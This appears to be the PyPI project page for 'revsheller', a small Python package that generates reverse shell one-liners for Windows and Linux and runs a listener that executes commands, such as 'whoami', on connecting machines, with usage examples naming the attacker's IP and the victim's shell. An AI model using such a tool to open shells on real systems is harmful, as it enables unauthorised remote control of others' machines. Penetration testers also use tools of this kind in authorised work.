Skip to main content

revsheller - Easy to generate reverse shells and build a server

Project description

revsheller - pip revsheller package

Easy to generate reverse shells and build a server.

Note: This package is only for Linux or unix like system.

How to install

Take it easy, just a pip.

How to use

To create reverse shells

>>> import revsheller as rev
>>> rev.generate(os, mode, ip, port=4444, sh=None, nc_path=None)

os - windows / linux

mode - nc:netcat / sh:shell / powershell

ip - attacker's ip address

port - attacker's port

sh - shell of victim's machine, not required

nc_path - netcat path on victim's machine, not required

Example for windows

>>> rev.generate('windows', 'powershell', '127.0.0.1', 4444)

Example for linux / unix

>>> rev.generate('linux', 'sh', '127.0.0.1', 4444, sh='/bin/bash')

To wait a connection

>>> revsheller.wait_for_connection(4444)
listening on [any] 4444 ...

To run a command automaticaly when get response

>>> revsheller.wait_for_connection(4444, 'whoami')
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 54364
ayato

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

revsheller-0.1.0.tar.gz (3.0 kB view details)

Uploaded Source

Built Distribution

revsheller-0.1.0-py3-none-any.whl (3.1 kB view details)

Uploaded Python 3

File details

Details for the file revsheller-0.1.0.tar.gz.

File metadata

  • Download URL: revsheller-0.1.0.tar.gz
  • Upload date:
  • Size: 3.0 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/5.1.0 CPython/3.11.8

File hashes

Hashes for revsheller-0.1.0.tar.gz
Algorithm Hash digest
SHA256 851ea986913b40186cb903276d375fee3304e0b0980279309e9a00f8ee2b7b9c
MD5 457cbb4886badc48ffdf27b843e2a9eb
BLAKE2b-256 fb5a3d10c1bfcd1973a66322e302981880b5fbd0c0c039a19cc6e242c6048f44

See more details on using hashes here.

File details

Details for the file revsheller-0.1.0-py3-none-any.whl.

File metadata

  • Download URL: revsheller-0.1.0-py3-none-any.whl
  • Upload date:
  • Size: 3.1 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/5.1.0 CPython/3.11.8

File hashes

Hashes for revsheller-0.1.0-py3-none-any.whl
Algorithm Hash digest
SHA256 a9debdc44b5c95b212e689011d8a577083987c07c0b9c73d2d0e1d654ffb98e2
MD5 f692b84e26e65c3288bf800dc3b07afa
BLAKE2b-256 80c980d998f1185642454e7bef0af8b4ef52846af2cfb3a7443838716568334d

See more details on using hashes here.

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page